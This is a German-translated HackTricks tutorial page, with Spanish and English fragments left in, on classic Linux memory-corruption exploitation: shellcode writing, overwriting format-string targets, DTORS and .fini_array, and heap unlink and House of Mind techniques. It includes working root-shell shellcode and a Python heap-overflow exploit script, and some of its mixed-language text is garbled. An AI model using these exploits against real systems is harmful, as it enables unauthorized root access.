hacktricks/exploiting/linux-exploiting-basic-esp/README.md

650 lines
39 KiB
Markdown
Raw Normal View History

# Linux Exploiting (Basic) (SPA)
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-30 11:12:47 +01:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 15:36:32 +00:00
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>
2022-05-01 13:25:53 +00:00
## **2.SHELLCODE**
Siehe Kernel-Unterbrechungen: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
2022-02-28 09:13:08 +00:00
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; löschen von eax\
xor ebx, ebx ; ebx = 0 da kein Argument übergeben wird\
2022-02-28 09:13:08 +00:00
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Syscall ausführen
**nasm -f elf assembly.asm** —> Gibt uns eine .o-Datei zurück\
**ld assembly.o -o shellcodeout** —> Erzeugt eine ausführbare Datei aus dem Assemblercode, aus der wir die Opcodes mit **objdump** extrahieren können\
**objdump -d -Mintel ./shellcodeout** —> Um sicherzustellen, dass es sich tatsächlich um unseren Shellcode handelt und um die Opcodes zu extrahieren
**Überprüfen Sie, ob der Shellcode funktioniert**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
2024-02-10 15:36:32 +00:00
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Para confirmar, dass Systemaufrufe korrekt ausgeführt werden, muss das vorherige Programm kompiliert werden und die Systemaufrufe sollten in **strace ./KOMPILIERTE\_PROGRAMM** erscheinen.
Beim Erstellen von Shellcodes kann ein Trick angewendet werden. Die erste Anweisung ist ein Sprung zu einem Aufruf. Der Aufruf ruft den Originalcode auf und legt zusätzlich das EIP im Stack ab. Nach dem Aufruf haben wir den benötigten String platziert, sodass wir mit diesem EIP auf den String zeigen und gleichzeitig den Code weiter ausführen können.
2024-02-10 15:36:32 +00:00
BEISPIEL **TRICK (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
2024-02-10 15:36:32 +00:00
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ mit dem Stack(/bin/sh) verwenden:**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
EJ FNSTENV ist ein einfacher Exploit, der die FNSTENV-Anweisung verwendet, um den FPU-Zustand zu speichern. Dieser Exploit ist besonders nützlich, wenn Sie versuchen, Shellcode in einem Umfeld auszuführen, in dem der FPU-Zustand nicht korrekt gespeichert wird.
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
2024-02-10 15:36:32 +00:00
**Egg Hunter:**
Besteht aus einem kleinen Code, der die Speicherseiten eines Prozesses nach der darin gespeicherten Shellcode durchsucht (sucht nach einer Signatur im Shellcode). Nützlich in Fällen, in denen nur wenig Platz zum Einspritzen von Code zur Verfügung steht.
2024-02-10 15:36:32 +00:00
**Polymorphe Shellcodes**
Sind verschlüsselte Shells, die über kleine Codes verfügen, die sie entschlüsseln und zu ihnen springen lassen, unter Verwendung des Call-Pop-Tricks wäre dies ein **Beispiel für eine Caesar-Verschlüsselung**:
```
global _start
_start:
2024-02-10 15:36:32 +00:00
jmp short magic
init:
2024-02-10 15:36:32 +00:00
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
2024-02-10 15:36:32 +00:00
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
2024-02-10 15:36:32 +00:00
call init
sc:
2024-02-10 15:36:32 +00:00
;Aquí va el shellcode
```
## **5. Zusätzliche Methoden**
2022-04-28 23:27:22 +00:00
**Ret2Ret**
Nützlich, wenn die Adresse des Stacks nicht in den EIP eingefügt werden kann (überprüfen, dass der EIP nicht 0xbf enthält) oder wenn der Speicherort der Shellcode nicht berechnet werden kann. Wenn die verwundbare Funktion jedoch einen Parameter akzeptiert (hier wird der Shellcode platziert).
Durch das Ändern des EIP in eine Adresse zu einem **ret** wird die nächste Adresse geladen (die Adresse des ersten Arguments der Funktion). Mit anderen Worten, der Shellcode wird geladen.
Der Exploit würde sein: SHELLCODE + Padding (bis zum EIP) + **\&ret** (die nächsten Bytes im Stack zeigen auf den Beginn des Shellcodes, da die Adresse des übergebenen Parameters im Stack platziert wird)
Es scheint, dass Funktionen wie **strncpy** nach Abschluss die Adresse, an der der Shellcode gespeichert war, aus dem Stack entfernen und diese Technik unmöglich machen. Mit anderen Worten, die Adresse, die der Funktion als Argument übergeben wird (die den Shellcode speichert), wird durch eine 0x00 ersetzt, sodass beim Aufruf des zweiten **ret** ein 0x00 gefunden wird und das Programm abstürzt.
**Murats Technik**
In Linux werden alle Programme ab 0xbfffffff gemappt.
Durch das Betrachten des Aufbaus des Stacks eines neuen Prozesses in Linux kann ein Exploit entwickelt werden, sodass das Programm in einer Umgebung gestartet wird, in der nur eine Variable vorhanden ist, nämlich der Shellcode. Die Adresse dieser Variable kann dann berechnet werden als: addr = 0xbfffffff - 4 - strlen(KOMPLETTER\_AUSFÜHRBARER\_NAME) - strlen(shellcode)
Auf diese Weise kann die Adresse, an der sich die Umgebungsvariable mit dem Shellcode befindet, einfach erhalten werden.
Dies ist möglich, da die Funktion execle es ermöglicht, eine Umgebung zu erstellen, die nur die gewünschten Umgebungsvariablen enthält.
2024-02-10 15:36:32 +00:00
**Integer-Überläufe**
Diese Art von Überläufen tritt auf, wenn eine Variable nicht darauf vorbereitet ist, eine so große Zahl zu verarbeiten, wie ihr übergeben wird, möglicherweise aufgrund einer Verwechslung zwischen vorzeichenbehafteten und vorzeichenlosen Variablen, zum Beispiel:
2020-11-28 20:03:33 +00:00
```c
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
2020-11-28 20:03:33 +00:00
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
2020-11-28 20:03:33 +00:00
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
2020-11-28 20:03:33 +00:00
printf("\nIntento de hack\n");
return 0;
}
```
En el previous example we see that the program expects 2 parameters. The first one is the length of the next string and the second one is the string.
If we pass a negative number as the first parameter, it will show that len < 256 and we will bypass that filter, and also strlen(buffer) will be less than l, since l is an unsigned int and will be very large.
This type of overflows does not aim to write something in the program's process, but to bypass poorly designed filters to exploit other vulnerabilities.
**Uninitialized Variables**
The value that an uninitialized variable can take is unknown and it could be interesting to observe it. It may take the value that a variable from the previous function took and this may be controlled by the attacker.
##
###
###
###
2022-05-01 13:25:53 +00:00
### **.fini\_array**
Grundsätzlich handelt es sich hierbei um eine Struktur mit **Funktionen, die aufgerufen werden**, bevor das Programm beendet wird. Dies ist interessant, wenn Sie Ihren **Shellcode aufrufen können, indem Sie zu einer Adresse springen**, oder in Fällen, in denen Sie erneut zu main zurückkehren müssen, um die **Format-String ein zweites Mal auszunutzen**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
2024-02-10 15:36:32 +00:00
8049934 a0850408
#Put your address in 0x8049934
```
Hinweis, dass dies **keine** **endlose Schleife** erzeugt, da der Canary bemerken wird, dass das Ende des Stapels möglicherweise beschädigt ist und die Funktion nicht erneut aufgerufen wird. Daher können Sie mit diesem **1 weitere Ausführung** der Schwachstelle haben.
### **Format Strings zum Dumpen von Inhalten**
Eine Formatzeichenkette kann auch missbraucht werden, um Inhalte aus dem Speicher des Programms zu **dumpen**.\
Zum Beispiel gibt es in der folgenden Situation eine **lokale Variable im Stapel, die auf eine Flagge zeigt**. Wenn Sie herausfinden, wo im **Speicher** der **Zeiger** auf die **Flagge** ist, können Sie **printf** dazu bringen, auf diese **Adresse** zuzugreifen und die **Flagge** auszugeben:
Also, die Flagge ist in **0xffffcf4c**
![](<../../.gitbook/assets/image (618) (2).png>)
Und aus dem Leak können Sie sehen, dass der **Zeiger auf die Flagge** im **8.** Parameter liegt:
![](<../../.gitbook/assets/image (623).png>)
Daher können Sie durch **Zugriff auf den 8. Parameter** die Flagge erhalten:
![](<../../.gitbook/assets/image (624).png>)
Beachten Sie, dass Sie nach dem **vorherigen Exploit** und der Erkenntnis, dass Sie Inhalte **leaken** können, **Zeiger** auf **`printf`** in den Abschnitt setzen können, in dem das **ausführbare** Programm **geladen** ist, und es **vollständig dumpen**!
### **DTOR**
{% hint style="danger" %}
Heutzutage ist es sehr **seltsam, ein Binär mit einem DTOR-Abschnitt zu finden**.
{% endhint %}
Die Destruktoren sind Funktionen, die **ausgeführt werden, bevor das Programm endet**.\
Wenn es Ihnen gelingt, eine **Adresse** zu einem **Shellcode** in **`__DTOR_END__`** zu **schreiben**, wird dies **ausgeführt**, bevor das Programm endet.\
Holen Sie sich die Adresse dieses Abschnitts mit:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
In der Regel finden Sie den **DTOR**-Abschnitt **zwischen** den Werten `ffffffff` und `00000000`. Wenn Sie also nur diese Werte sehen, bedeutet das, dass **keine Funktion registriert ist**. Überschreiben Sie also die **`00000000`** mit der **Adresse** des **Shellcodes**, um ihn auszuführen.
### **Format Strings für Buffer Overflows**
**sprintf** kopiert einen formatierten String in eine **Variable**. Daher könnten Sie die **Formatierung** eines Strings missbrauchen, um einen **Buffer Overflow in der Variable** zu verursachen.\
Beispielsweise schreibt das Payload `%.44xAAAA` 44B+"AAAA" in die Variable, was einen Buffer Overflow verursachen kann.
2024-02-10 15:36:32 +00:00
### **\_\_atexit-Strukturen**
{% hint style="danger" %}
Heutzutage ist es sehr **ungewöhnlich, dies auszunutzen**.
{% endhint %}
**`atexit()`** ist eine Funktion, der **andere Funktionen als Parameter übergeben werden**. Diese **Funktionen** werden ausgeführt, wenn ein **`exit()`** ausgeführt wird oder das **Hauptprogramm beendet wird**.\
Wenn Sie die **Adresse** einer dieser **Funktionen** beispielsweise auf einen Shellcode zeigen lassen können, erhalten Sie **Kontrolle** über den **Prozess**, aber dies ist derzeit komplizierter.\
Derzeit sind die **Adressen der auszuführenden Funktionen** hinter mehreren Strukturen versteckt, und schließlich sind die Adressen, auf die sie zeigen, nicht die Adressen der Funktionen, sondern sind **verschlüsselt mit XOR** und Verschiebungen mit einem **zufälligen Schlüssel**. Daher ist dieser Angriffsvektor derzeit **zumindest auf x86** und **x64\_86** nicht sehr nützlich.\
Die **Verschlüsselungsfunktion** ist **`PTR_MANGLE`**. **Andere Architekturen** wie m68k, mips32, mips64, aarch64, arm, hppa... **implementieren die Verschlüsselungsfunktion nicht**, da sie das Gleiche zurückgeben wie sie als Eingabe erhalten haben. Daher wären diese Architekturen durch diesen Vektor angreifbar.
2022-05-01 13:25:53 +00:00
### **setjmp() & longjmp()**
{% hint style="danger" %}
Heutzutage ist es sehr **ungewöhnlich, dies auszunutzen**.
{% endhint %}
**`Setjmp()`** ermöglicht es, den **Kontext** (die Register) zu **speichern**.\
**`longjmp()`** ermöglicht es, den **Kontext** zu **wiederherstellen**.\
Die **gespeicherten Register** sind: `EBX, ESI, EDI, ESP, EIP, EBP`\
Das Problem ist, dass EIP und ESP durch die **`PTR_MANGLE`**-Funktion übergeben werden, daher sind die **Architekturen, die anfällig für diesen Angriff sind, die gleichen wie oben**.\
Sie sind nützlich für Fehlerbehebung oder Unterbrechungen.\
Jedoch sind nach meinen Recherchen die anderen Register nicht geschützt, **so dass bei einem `call ebx`, `call esi` oder `call edi`** innerhalb der aufgerufenen Funktion die Kontrolle übernommen werden kann. Oder Sie könnten auch EBP ändern, um ESP zu ändern.
2024-02-10 15:36:32 +00:00
**VTable und VPTR in C++**
Jede Klasse hat eine **Vtable**, die ein Array von **Methodenzeigern** ist.
Jedes Objekt einer **Klasse** hat einen **VPtr**, der ein **Zeiger** auf das Array seiner Klasse ist. Der VPtr ist Teil des Headers jedes Objekts, daher könnte bei einer **Überschreibung** des **VPtr** dieser auf eine Dummy-Methode zeigen, sodass beim Ausführen einer Funktion der Shellcode aufgerufen wird.
## **Präventivmaßnahmen und Umgehungen**
###
**Ersetzen von Libsafe**
Aktivieren mit: LD\_PRELOAD=/lib/libsafe.so.2\
oder\
“/lib/libsave.so.2” > /etc/ld.so.preload
Einige unsichere Funktionen werden durch sichere Funktionen ersetzt. Nicht standardisiert. (nur für x86, nicht für Kompilierungen mit -fomit-frame-pointer, nicht für statische Kompilierungen, nicht alle anfälligen Funktionen werden sicher gemacht und LD\_PRELOAD funktioniert nicht bei SUID-Binärdateien).
**ASCII-geschützter Adressraum**
Lädt gemeinsam genutzte Bibliotheken von 0x00000000 bis 0x00ffffff, damit immer ein Byte 0x00 vorhanden ist. Dies hält jedoch praktisch keinen Angriff auf, insbesondere nicht bei Little Endian.
**ret2plt**
Führt ein ROP aus, bei dem die Funktion strcpy@plt (aus der plt) aufgerufen wird und auf den Eintrag der GOT gezeigt wird und das erste Byte der zu aufrufenden Funktion (system()) kopiert wird. Anschließend wird dasselbe mit GOT+1 gemacht und das 2. Byte von system() kopiert... Schließlich wird die in der GOT gespeicherte Adresse aufgerufen, die system() sein wird.
**Chroot-Käfige**
debootstrap -arch=i386 hardy /home/user —> Installiert ein grundlegendes System unter einem bestimmten Unterverzeichnis
Ein Administrator kann aus einem dieser Käfige ausbrechen, indem er: mkdir foo; chroot foo; cd ..
**Codeinstrumentierung**
Valgrind —> Sucht nach Fehlern\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Grundlegende Exploits**
**Zugewiesenes Stück**
prev\_size |\
size | —Header\
\*mem | Daten
**Freies Stück**
prev\_size |\
size |\
\*fd | Zeiger auf vorheriges Stück\
\*bk | Zeiger auf nächstes Stück —Header\
\*mem | Daten
Die freien Stücke sind in einer doppelt verketteten Liste (bin) und es dürfen niemals zwei freie Stücke nebeneinander sein (sie werden zusammengeführt).
Im "size"-Feld gibt es Bits, um anzuzeigen: ob das vorherige Stück verwendet wird, ob das Stück über mmap() zugewiesen wurde und ob das Stück zum primären Arena gehört.
Wenn ein Stück freigegeben wird und eines der benachbarten Stücke frei ist, werden sie durch die Makro unlink() fusioniert und das größere neue Stück wird frontlink() übergeben, um es in den entsprechenden Bin einzufügen.
unlink(){\
BK = P->bk; —> Das BK des neuen Stücks ist das, was das zuvor freie Stück hatte\
FD = P->fd; —> Das FD des neuen Stücks ist das, was das zuvor freie Stück hatte\
FD->bk = BK; —> Das BK des nächsten Stücks zeigt auf das neue Stück\
BK->fd = FD; —> Das FD des vorherigen Stücks zeigt auf das neue Stück\
}
Daher, wenn es gelingt, P->bk mit der Adresse eines Shellcodes und P->fd mit der Adresse eines Eintrags in der GOT oder DTORS minus 12 zu ändern, wird erreicht:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
Dadurch wird der Shellcode beim Verlassen des Programms ausgeführt.
Außerdem schreibt die 4. Anweisung von unlink() etwas und der Shellcode muss dafür angepasst werden:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Dies führt dazu, dass 4 Bytes ab dem 8. Byte des Shellcodes geschrieben werden, daher sollte das erste Shellcode-Instruction ein Sprungbefehl sein, um dies zu überspringen und zu den Nops zu gelangen, die zum Rest des Shellcodes führen.
2024-02-10 15:36:32 +00:00
Daher wird der Exploit erstellt:
Im Puffer1 wird der Shellcode platziert, beginnend mit einem Sprungbefehl, damit er zu den Nops oder zum Rest des Shellcodes gelangt.
Nach dem Shellcode wird Füllmaterial eingefügt, bis die Felder prev\_size und size des nächsten Stücks erreicht sind. An diesen Stellen werden 0xfffffff0 (um prev\_size zu überschreiben, damit das Bit angezeigt wird, dass es frei ist) und "-4" (0xfffffffc) in die size eingefügt (um sicherzustellen, dass beim Überprüfen des 3. Stücks auf Freiheit des 2. Stücks tatsächlich auf die modifizierte prev\_size verwiesen wird, die angibt, dass es frei ist) -> Wenn free() überprüft, wird zur size des 3. Stücks gegangen, aber tatsächlich wird auf das 2. - 4. Stück verwiesen und es wird angenommen, dass das 2. Stück frei ist. Dann wird **unlink()** aufgerufen.
Beim Aufruf von unlink() werden die ersten Daten des 2. Stücks als P->fd verwendet, sodass die Adresse überschrieben wird, die - 12 (da FD->bk 12 zur in FD gespeicherten Adresse hinzufügt) . An dieser Adresse wird die zweite Adresse im 2. Stück eingefügt, die die Adresse des Shellcodes sein soll (falsches P->bk).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev\_size) pues es ahí donde mira si el 2º trozo está libre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando en sentido inverso (wargame)**
2024-02-10 15:36:32 +00:00
Wir kontrollieren 3 aufeinanderfolgende Chunks und geben sie in umgekehrter Reihenfolge frei.
2024-02-10 15:36:32 +00:00
In diesem Fall:
Im Chunk c wird der Shellcode platziert.
Der Chunk a wird verwendet, um das b zu überschreiben, so dass das Bit PREV\_INUSE deaktiviert wird, damit der Chunk a als frei betrachtet wird.
Außerdem wird die Größe im Header b überschrieben, damit sie -4 beträgt.
Dann wird das Programm denken, dass "a" frei ist und in einem Bin liegt, daher wird unlink() aufgerufen, um es zu entkoppeln. Da jedoch die Headergröße PREV\_SIZE -4 beträgt, wird angenommen, dass der "a"-Chunk tatsächlich bei b+4 beginnt. Das heißt, es wird ein unlink() auf einen Chunk durchgeführt, der bei b+4 beginnt. Daher wird bei b+12 der "fd"-Pointer und bei b+16 der "bk"-Pointer sein.
Auf diese Weise, wenn wir die Adresse des Shellcodes in bk und die Adresse der Funktion "puts()" -12 in fd setzen, haben wir unser Payload.
2024-02-10 15:36:32 +00:00
**Frontlink-Technik**
Frontlink wird aufgerufen, wenn etwas freigegeben wird und keiner seiner benachbarten Chunks frei ist. Es wird nicht unlink() aufgerufen, sondern direkt frontlink().
Nützliche Schwachstelle, wenn das angegriffene malloc nie freigegeben wird (free()).
Benötigt werden:
Ein Puffer, der mit der Eingabefunktion überlaufen kann.
Ein benachbarter Puffer, der freigegeben werden muss und dessen fd-Feld im Header durch den Überlauf des vorherigen Puffers geändert wird.
Ein Puffer, der größer als 512, aber kleiner als der vorherige Puffer freigegeben wird.
Ein Puffer, der vor Schritt 3 deklariert wird, um das prev\_size dieses Puffers zu überschreiben.
Dadurch können wir in zwei mallocs unkontrolliert und in einem kontrolliert überschreiben und einen Exploit erstellen.
**Vulnerabilität double free()**
Wenn free() zweimal mit demselben Zeiger aufgerufen wird, zeigen zwei Bins auf dieselbe Adresse.
Wenn einer erneut verwendet werden soll, wird er ohne Probleme zugewiesen. Wenn der andere verwendet werden soll, wird ihm derselbe Speicherplatz zugewiesen, sodass die "fd"- und "bk"-Pointer mit den Daten gefälscht werden, die die vorherige Reservierung schreibt.
**After free()**
2024-02-10 15:36:32 +00:00
Ein zuvor freigegebener Zeiger wird erneut ohne Kontrolle verwendet.
## **8 Heap-Überläufe: Fortgeschrittene Exploits**
Die Techniken Unlink() und FrontLink() wurden entfernt, als die Funktion unlink() geändert wurde.
2022-04-28 23:27:22 +00:00
**The house of mind**
Es ist nur ein Aufruf von free() erforderlich, um die Ausführung beliebigen Codes zu verursachen. Es ist wichtig, einen zweiten Chunk zu finden, der von einem vorherigen überlaufen und freigegeben werden kann.
Ein Aufruf von free() führt dazu, dass public\_fREe(mem) aufgerufen wird, das Folgendes ausführt:
2022-02-28 09:13:08 +00:00
mstate ar\_ptr;
mchunkptr p;
2024-02-10 15:36:32 +00:00
p = mem2chunk(mes); —> Gibt einen Zeiger auf die Adresse zurück, an der der Chunk beginnt (mem-8)
2022-02-28 09:13:08 +00:00
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
2022-02-28 09:13:08 +00:00
\_int\_free(ar\_ptr, mem);
}
In \[1] wird das Feld size und das Bit NON\_MAIN\_ARENA überprüft, das geändert werden kann, damit die Überprüfung true zurückgibt und heap\_for\_ptr() ausgeführt wird, das ein "and" auf "mem" ausführt und die 2,5 unwichtigsten Bytes auf 0 setzt (in unserem Fall von 0x0804a000 auf 0x08000000) und auf 0x08000000->ar\_ptr zugreift (als ob es sich um ein struct heap\_info handelt).
Auf diese Weise, wenn wir beispielsweise einen Chunk bei 0x0804a000 kontrollieren und ein Chunk bei **0x081002a0** freigegeben wird, können wir die Adresse 0x08100000 erreichen und beispielsweise **0x0804a000** schreiben. Wenn dieser zweite Chunk freigegeben wird, wird heap\_for\_ptr(ptr)->ar\_ptr den Wert zurückgeben, den wir in 0x08100000 geschrieben haben (da auf 0x081002a0 das zuvor erwähnte "and" angewendet wird und von dort der Wert der ersten 4 Bytes, ar\_ptr, abgeleitet wird).
Dann wird \_int\_free(ar\_ptr, mem) aufgerufen, d.h. **\_int\_free(0x0804a000, 0x081002a0)**\
2022-02-28 09:13:08 +00:00
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
2022-02-28 09:13:08 +00:00
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Wie wir zuvor gesehen haben, können wir den Wert von av kontrollieren, da wir ihn in dem Chunk geschrieben haben, der freigegeben wird.
2024-02-10 15:36:32 +00:00
Wie unsorted\_chunks definiert ist, wissen wir, dass:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Daher, wenn wir in av->bins\[2] den Wert von \_\_DTOR\_END\_\_-12 schreiben, wird in der letzten Anweisung in \_\_DTOR\_END\_\_ die Adresse des zweiten Chunks geschrieben.
Das heißt, wir müssen am Anfang des ersten Chunks viele Male die Adresse von \_\_DTOR\_END\_\_-12 platzieren, weil av->bins\[2] sie von dort abruft.
An der Adresse, an der die Adresse des zweiten Chunks mit den letzten 5 Nullen landet, müssen wir die Adresse dieses ersten Chunks platzieren, damit heap\_for\_ptr() denkt, dass ar\_ptr am Anfang des ersten Chunks liegt und av->bins\[2] von dort abruft.
Im zweiten Chunk und dank des ersten überschreiben wir prev\_size mit einem Sprung von 0x0c und size mit etwas, um -> NON\_MAIN\_ARENA zu aktivieren.
Dann fügen wir viele Nops und schließlich den Shellcode in den zweiten Chunk ein.
Auf diese Weise wird \_int\_free(CHUNK1, CHUNK2) aufgerufen und die Anweisungen werden befolgt, um in \_\_DTOR\_END\_\_ die Adresse von prev\_size des CHUNK2 zu schreiben, der dann zum Shellcode springt.
Um diese Technik anzuwenden, müssen einige zusätzliche Anforderungen erfüllt sein, die den Payload etwas komplizierter machen.
Diese Technik ist nicht mehr anwendbar, da fast der gleiche Patch wie für unlink angewendet wurde. Es wird überprüft, ob die neue Site, auf die verwiesen wird, auch auf sie verweist.
**Fastbin**
Es ist eine Variante von The House of Mind
Wir möchten den folgenden Code ausführen, der nach der ersten Überprüfung der Funktion \_int\_free() erreicht wird
fb = &(av->fastbins\[fastbin\_index(size)] —> wobei fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Auf diese Weise, wenn "fb" auf die Adresse einer Funktion in der GOT gesetzt wird, wird an dieser Adresse die Adresse des überschriebenen Chunks platziert. Dafür muss die Arena in der Nähe der dtors-Adressen liegen. Genauer gesagt muss av->max\_fast an der Adresse stehen, die wir überschreiben werden.
Da wir mit The House of Mind gesehen haben, dass wir die Position von av kontrollierten.
Deshalb, wenn wir in das Feld size eine Größe von 8 + NON\_MAIN\_ARENA + PREV\_INUSE setzen, wird fastbin\_index() fastbins\[-1] zurückgeben, das auf av->max\_fast zeigen wird.
In diesem Fall wird av->max\_fast die Adresse sein, die überschrieben wird (nicht die, auf die verwiesen wird, sondern diese Position wird überschrieben).
Außerdem muss der benachbarte Chunk des freigegebenen Chunks größer als 8 sein -> Da wir gesagt haben, dass die Größe des freigegebenen Chunks 8 beträgt, müssen wir in diesem falschen Chunk nur eine Größe größer als 8 setzen (da die Shellcode im freigegebenen Chunk sein wird, muss am Anfang ein jmp stehen, der auf nops zeigt).
Außerdem muss dieser falsche Chunk kleiner als av->system\_mem sein. av->system\_mem befindet sich 1848 Bytes weiter.
Aufgrund der Nullen von \_DTOR\_END\_ und der wenigen Adressen in der GOT sind keine dieser Adressen geeignet, um überschrieben zu werden. Sehen wir also, wie wir fastbin anwenden können, um den Stack anzugreifen.
Eine andere Angriffsmethode besteht darin, den **av** auf den Stack umzuleiten.
Wenn wir die Größe so ändern, dass sie 16 anstelle von 8 beträgt, dann wird fastbin\_index() fastbins\[0] zurückgeben und wir können dies nutzen, um den Stack zu überschreiben.
Dafür dürfen auf dem Stack kein Canary oder seltsame Werte vorhanden sein, tatsächlich müssen wir uns hier befinden: 4 Nullbytes + EBP + RET
Die 4 Nullbytes sind erforderlich, damit der **av** auf diese Adresse zeigt und das erste Element eines **av** ist das Mutex, das den Wert 0 haben muss.
Der **av->max\_fast** wird das EBP sein und ein Wert, der uns helfen wird, die Einschränkungen zu umgehen.
In **av->fastbins\[0]** wird die Adresse von **p** überschrieben und wird das RET sein, so dass der Shellcode ausgeführt wird.
Außerdem wird in **av->system\_mem** (1484 Bytes über der Position auf dem Stack) genügend Müll vorhanden sein, der es uns ermöglicht, die Überprüfung zu umgehen.
